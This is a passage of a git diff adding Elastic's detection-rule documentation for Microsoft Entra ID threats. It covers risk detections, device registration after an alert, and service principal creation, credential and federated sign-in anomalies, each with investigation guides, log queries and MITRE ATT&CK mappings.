Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +This rule detects sign-in risk detection events via Microsoft Entra ID Protection. It identifies various risk event types such as anonymized IP addresses, unlikely travel, password spray, and more. These events can indicate potential malicious activity or compromised accounts. + + +*Possible investigation steps* + + +- Review the `azure.identityprotection.properties.risk_event_type` field to understand the specific risk event type detected. +- Check the `azure.identityprotection.properties.risk_level` field to determine the severity of the risk event. +- Check the `azure.identityprotection.properties.risk_detail` field for additional context on the risk event. +- Review the `azure.correlation_id` field to correlate this event with other related events in your environment. +- Review the `azure.identityprotection.properties.additional_info` field for any additional information provided by Entra ID Protection. +- Review the `azure.identityprotection.properties.detection_timing_type` field to understand when the risk event was detected. Offline detections may indicate a delayed response to a potential threat while real-time detections indicate immediate risk assessment. +- Check the `azure.identityprotection.properties.user_principal_name` field to identify the user account associated with the risk event. This can help determine if the account is compromised or if the risk event is expected behavior for that user. Triage the user account with other events from Entra ID audit or sign-in logs to identify any suspicious activity or patterns. + + +*False positive analysis* + + +- Users accessing their accounts from anonymized IP addresses, such as VPNs or Tor, may trigger this rule. If this is expected behavior in your environment, consider adjusting the rule or adding exceptions for specific users or IP ranges. +- Users who frequently travel or access their accounts from different geographic locations may trigger this rule due to the unlikely travel detection mechanism. If this is expected behavior, consider adjusting the rule or adding exceptions for specific users. +- Users who have recently changed their passwords may trigger this rule due to the password spray detection mechanism. If this is expected behavior, consider adjusting the rule or adding exceptions for specific users. + + +*Response and remediation* + +- Investigate the user account associated with the risk event to determine if it has been compromised or if the risk event is expected behavior. +- If the risk event indicates a compromised account, take appropriate actions such as resetting the password, enabling multi-factor authentication, or disabling the account temporarily. +- Review authentication material such as primary refresh tokens (PRTs) or OAuth tokens to ensure they have not been compromised. If necessary, revoke these tokens to prevent further access. +- Implement sign-in risk policies in Entra ID Protection to automatically respond to risk events, such as requiring multi-factor authentication or blocking sign-ins from risky locations. +- Ensure multi-factor authentication is enabled for all user accounts to provide an additional layer of security against compromised accounts. +- Consider using high risk detections and conditional access evaluations to enforce stricter security measures for accounts or enable access revocation. + + +==== Setup + + + +*Required Microsoft Entra ID Protection Logs* + +To use this rule, ensure that Microsoft Entra ID Protection logs are being collected and streamed into the Elastic Stack via the Azure integration. + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.identity_protection" and + event.action: "User Risk Detection" and + azure.identityprotection.properties.activity: "signin" and + not azure.identityprotection.properties.risk_state: ( + "remediated" or "dismissed" or "confirmedSafe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-protection-risk-detection-user-risk.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-protection-risk-detection-user-risk.asciidoc new file mode 100644 index 0000000000..f1f23a3b4a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-protection-risk-detection-user-risk.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-21-entra-id-protection-risk-detection-user-risk]] +=== Entra ID Protection - Risk Detection - User Risk + +Identifies user risk detection events via Microsofts Entra ID Protection service. Entra ID Protection detects user risk activity such as anonymized IP addresses, unlikely travel, password spray, and more. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.identity_protection-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#risk-types-and-detection +* https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Use Case: Risk Detection +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +This rule detects user risk detection events via Microsoft Entra ID Protection. It identifies various risk event types such as anonymized IP addresses, unlikely travel, password spray, and more. These events can indicate potential malicious activity or compromised accounts. + + +*Possible investigation steps* + + +- Review the `azure.identityprotection.properties.risk_event_type` field to understand the specific risk event type detected. +- Check the `azure.identityprotection.properties.risk_level` field to determine the severity of the risk event. +- Check the `azure.identityprotection.properties.risk_detail` field for additional context on the risk event. +- Review the `azure.correlation_id` field to correlate this event with other related events in your environment. +- Review the `azure.identityprotection.properties.additional_info` field for any additional information provided by Entra ID Protection. +- Review the `azure.identityprotection.properties.detection_timing_type` field to understand when the risk event was detected. Offline detections may indicate a delayed response to a potential threat while real-time detections indicate immediate risk assessment. +- Check the `azure.identityprotection.properties.user_principal_name` field to identify the user account associated with the risk event. This can help determine if the account is compromised or if the risk event is expected behavior for that user. Triage the user account with other events from Entra ID audit or sign-in logs to identify any suspicious activity or patterns. + + +*False positive analysis* + + +- Users accessing their accounts from anonymized IP addresses, such as VPNs or Tor, may trigger this rule. If this is expected behavior in your environment, consider adjusting the rule or adding exceptions for specific users or IP ranges. +- Users who frequently travel or access their accounts from different geographic locations may trigger this rule due to the unlikely travel detection mechanism. If this is expected behavior, consider adjusting the rule or adding exceptions for specific users. +- Users who have recently changed their passwords may trigger this rule due to the password spray detection mechanism. If this is expected behavior, consider adjusting the rule or adding exceptions for specific users. + + +*Response and remediation* + +- Investigate the user account associated with the risk event to determine if it has been compromised or if the risk event is expected behavior. +- If the risk event indicates a compromised account, take appropriate actions such as resetting the password, enabling multi-factor authentication, or disabling the account temporarily. +- Review authentication material such as primary refresh tokens (PRTs) or OAuth tokens to ensure they have not been compromised. If necessary, revoke these tokens to prevent further access. +- Implement sign-in risk policies in Entra ID Protection to automatically respond to risk events, such as requiring multi-factor authentication or blocking sign-ins from risky locations. +- Ensure multi-factor authentication is enabled for all user accounts to provide an additional layer of security against compromised accounts. +- Consider using high risk detections and conditional access evaluations to enforce stricter security measures for accounts or enable access revocation. + + +==== Setup + + + +*Required Microsoft Entra ID Protection Logs* + +To use this rule, ensure that Microsoft Entra ID Protection logs are being collected and streamed into the Elastic Stack via the Azure integration. + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.identity_protection" and + event.action: ("User Risk Detection" or "Risky user") and + azure.identityprotection.properties.activity: "user" and + not azure.identityprotection.properties.risk_state: ( + "remediated" or "dismissed" or "confirmedSafe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-protection-user-alert-and-device-registration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-protection-user-alert-and-device-registration.asciidoc new file mode 100644 index 0000000000..af37bf8e70 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-protection-user-alert-and-device-registration.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-21-entra-id-protection-user-alert-and-device-registration]] +=== Entra ID Protection User Alert and Device Registration + +Identifies sequence of events where a Microsoft Entra ID protection alert is followed by an attempt to register a new device by the same user principal. This behavior may indicate an adversary using a compromised account to register a device, potentially leading to unauthorized access to resources or persistence in the environment. + +*Rule type*: eql + +*Rule indices*: + +* logs-azure.identity_protection-* +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/overview-identity-protection +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk#investigation-framework + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Protection Logs +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Protection User Alert and Device Registration* + + + +*Possible investigation steps* + + +- Identify the Risk Detection that triggered the event. A list with descriptions can be found https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/concept-identity-protection-risks#risk-types-and-detection[here]. +- Identify the user account involved and validate whether the suspicious activity is normal for that user. + - Consider the source IP address and geolocation for the involved user account. Do they look normal? + - Consider the device used to sign in. Is it registered and compliant? +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account owner and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and device conditions. +- Consider the context of the user account and whether the activity is expected. For example, if the user is a developer or administrator, they may have legitimate reasons for accessing resources from various locations or devices. +- A Microsoft Entra ID Protection alert may be triggered by legitimate activities such as password resets, MFA changes, or device registrations. If the user is known to perform these actions regularly, it may not indicate a compromise. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Follow security best practices https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices[outlined] by Microsoft. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=5m +[any where data_stream.dataset == "azure.identity_protection"] by azure.identityprotection.properties.user_principal_name +[any where data_stream.dataset == "azure.auditlogs" and event.action == "Register device"] by azure.auditlogs.properties.initiated_by.user.userPrincipalName + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-service-principal-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-service-principal-created.asciidoc new file mode 100644 index 0000000000..2fa45df345 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-service-principal-created.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-21-entra-id-service-principal-created]] +=== Entra ID Service Principal Created + +Identifies when a new service principal is added in Microsoft Entra ID. An application, hosted service, or automated tool that accesses or modifies resources needs an identity created. This identity is known as a service principal. For security reasons, it's always recommended to use service principals with automated tools rather than allowing them to log in with a user identity. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ +* https://docs.microsoft.com/en-us/azure/active-directory/develop/howto-create-service-principal-portal + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Service Principal Created* + + +Service Principals are identities used by applications, services, and automation tools to access specific resources. They grant specific access based on the assigned API permissions. Most organizations that work a lot with Azure AD make use of service principals. Whenever an application is registered, it automatically creates an application object and a service principal in an Azure AD tenant. + +This rule looks for the addition of service principals. This behavior may enable attackers to impersonate legitimate service principals to camouflage their activities among noisy automations/apps. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the source IP address and geolocation for the user who issued the command. Do they look normal for the user? +- Consider the time of day. If the user is a human, not a program or script, did the activity take place during a normal time of day? +- Check if this operation was approved and performed according to the organization's change management policy. +- Contact the account owner and confirm whether they are aware of this activity. +- Examine the account's commands, API calls, and data management actions in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and device conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Follow security best practices https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices[outlined] by Microsoft. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Microsft Entra ID Audit Logs* + +This rule requires the Azure integration with Microsoft Entra ID Audit Logs data stream ingesting in your Elastic Stack deployment. For more information, refer to the https://www.elastic.co/docs/reference/integrations/azure/adlogs[Microsoft Entra ID Audit Logs integration documentation]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.auditlogs + and azure.auditlogs.operation_name:"Add service principal" + and event.outcome:(success or Success) + and not azure.auditlogs.identity: ( + "Managed Service Identity" or + "Windows Azure Service Management API" or + "Microsoft Azure AD Internal - Jit Provisioning" or + "AAD App Management" or + "Power Virtual Agents Service" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-service-principal-credentials-created-by-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-service-principal-credentials-created-by-unusual-user.asciidoc new file mode 100644 index 0000000000..585dd23f41 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-service-principal-credentials-created-by-unusual-user.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-21-entra-id-service-principal-credentials-created-by-unusual-user]] +=== Entra ID Service Principal Credentials Created by Unusual User + +Identifies when new Service Principal credentials have been added in Microsoft Entra ID. In most organizations, credentials will be added to service principals infrequently. Hijacking an application (by adding a rogue secret or certificate) with granted permissions will allow the attacker to access data that is normally protected by MFA requirements. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452 +* https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/ +* https://www.cisa.gov/news-events/alerts/2025/05/22/advisory-update-cyber-threat-activity-targeting-commvaults-saas-cloud-application-metallic + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Service Principal Credentials Created by Unusual User* + + +This rule identifies the addition of new credentials (client secrets or certificates) to a Microsoft Entra ID (formerly Azure AD) service principal by a user who has not previously performed this operation in the last 10 days. Adversaries who obtain temporary or persistent access to a user account may add rogue credentials to service principals in order to maintain unauthorized access to cloud resources. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule that detects rare users performing sensitive identity-related actions in Entra ID. + + +*Possible Investigation Steps* + +- Identify the Actor: Review the `azure.auditlogs.properties.initiated_by.user.user_principal_name` and `azure.auditlogs.properties.initiated_by.user.id` fields to identify the user account performing the action. Determine if this user typically manages service principals. +- Check for Known Admin or Automation Context: Validate if the action was expected (e.g., part of a deployment pipeline or credential rotation process). Investigate whether this is a known administrative account or an automated service principal maintainer. +- Inspect Credential Type: Determine if a certificate or client secret was added, and assess its expiration time, usage scope, and whether it aligns with internal practices. +- Correlate with Other Events: Look for surrounding events such as creation of new service principals, assignment of roles or permissions, or suspicious application sign-ins that could indicate persistence or privilege escalation. +- Analyze Source of Activity: Review `source.ip` and `user_agent.original` fields to assess whether the request came from a trusted network or device. Unexpected geolocations, hosting providers, or Linux CLI-based user agents may indicate unauthorized activity. + + +*False Positive Analysis* + +- Routine Administrative Tasks: This alert may trigger when legitimate administrators or DevOps engineers rotate credentials for service principals as part of normal operations. +- First-Time Actions by Known Accounts: If a new user joins the team or an existing user is performing this task for the first time in the observed period, it may be expected behavior. Verify with the relevant team. + + +*Response and Remediation* + +- Revoke Unauthorized Credentials: If suspicious, disable or delete the newly added service principal credential immediately. +- Investigate User Account: Review the login history, IP address usage, and other activity from the initiating user to determine whether the account is compromised. +- Audit Affected Service Principal: Evaluate the permissions granted to the service principal to understand the potential impact of misuse. +- Review RBAC and Least Privilege: Ensure that only authorized identities have permission to add credentials to service principals. Tighten IAM role definitions if necessary. +- Enable Just-in-Time or Approval-Based Access: Consider implementing access control policies that require approvals for modifying service principals or adding credentials. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.auditlogs" + and azure.auditlogs.operation_name:"Add service principal credentials" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-service-principal-federated-credential-authentication-by-unusual-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-service-principal-federated-credential-authentication-by-unusual-client.asciidoc new file mode 100644 index 0000000000..df1179ec7f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-service-principal-federated-credential-authentication-by-unusual-client.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-21-entra-id-service-principal-federated-credential-authentication-by-unusual-client]] +=== Entra ID Service Principal Federated Credential Authentication by Unusual Client + +Identifies when a service principal authenticates using a federated identity credential for the first time in the historical window. This indicates that Entra ID validated a JWT token potentially against an external OIDC identity provider and issued an access token. While legitimate for CI/CD workflows (GitHub Actions, Azure DevOps), adversaries may abuse this by configuring rogue identity providers (BYOIDP) to authenticate as compromised applications. First-time federated credential usage for a service principal warrants investigation to determine if the external identity provider is legitimate. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dirkjanm.io/persisting-with-federated-credentials-entra-apps-managed-identities/ +* https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation +* https://github.com/dirkjanm/ROADtools + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Tactic: Defense Evasion +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Service Principal Federated Credential Authentication by Unusual Client* + + +If this rule triggers, it indicates that a service principal has authenticated using a federated identity credential for the first time within the historical window. This means that Entra ID validated a JWT token potentially issued by an external OIDC identity provider and issued an access token for the service principal. While this can be legitimate for CI/CD workflows (e.g., GitHub Actions, Azure DevOps, Kubernetes OIDC), it can also indicate abuse by adversaries who have configured rogue identity providers (BYOIDP) to authenticate as compromised applications. For BYOIDP attacks, this is the moment the adversary's rogue identity provider is used to authenticate as the +compromised application for the first time. + + +*Possible investigation steps* + + +- Identify the service principal using `azure.signinlogs.properties.app_id` and `app_display_name`. +- Critical: Check the application's federated credential configuration in Entra ID: + - What is the issuer URL? Is it a known legitimate provider (GitHub Actions, Azure DevOps, Kubernetes)? + - When was the federated credential added? Was it recent? + - Who added the federated credential? +- Review the `service_principal_credential_thumbprint` - does it match expected certificates? +- Investigate the source IP (`azure.signinlogs.caller_ip_address`) - is it from expected CI/CD infrastructure? +- Check what resources were accessed after authentication using `azure.signinlogs.properties.resource_display_name`. +- Correlate with Graph Activity logs to see what API calls were made with this token. +- Use the `correlation_id` to find related sign-in and activity events. +- Review audit logs for recent changes to this application's federated credentials. + + +*False positive analysis* + + +- Legitimate CI/CD pipelines using GitHub Actions, Azure DevOps, or Kubernetes OIDC will trigger this rule on first use. +- New application deployments with workload identity federation are expected to show as new behavior. +- Validate the issuer URL against approved identity providers before dismissing. +- Create baseline of applications expected to use federated credentials. + + +*Response and remediation* + + +- If this is unexpected federated auth for the application, immediately investigate the federated credential configuration. +- Review the external IdP issuer URL configured on the application - is it legitimate? +- If BYOIDP is confirmed: + - Remove the malicious federated credential immediately. + - Revoke active sessions and tokens for the affected service principal. + - Audit what actions were performed using the compromised identity. + - Investigate how the federated credential was added (compromised admin account). + +==== Setup + + + +*Required Microsoft Entra ID Sign-In Logs* + +To use this rule, ensure that Microsoft Entra ID Sign-In Logs are being collected and streamed into the Elastic Stack via the Azure integration. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" + and azure.signinlogs.category: "ServicePrincipalSignInLogs" + and azure.signinlogs.properties.client_credential_type: "federatedIdentityCredential" + and azure.signinlogs.result_signature: "SUCCESS" + and azure.signinlogs.properties.app_id: * + and not azure.signinlogs.properties.app_owner_tenant_id: ( + "f8cdef31-a31e-4b4a-93e4-5f571e91255a" or + "72f988bf-86f1-41af-91ab-2d7cd011db47" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-service-principal-with-unusual-source-asn.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-service-principal-with-unusual-source-asn.asciidoc new file mode 100644 index 0000000000..ace467e995 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-service-principal-with-unusual-source-asn.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-21-entra-id-service-principal-with-unusual-source-asn]] +=== Entra ID Service Principal with Unusual Source ASN + +Identifies Entra ID service principal sign-ins where the workload identity and source autonomous system number (ASN) together have not appeared in recent history. Attackers who obtain application secrets or tokens often authenticate from 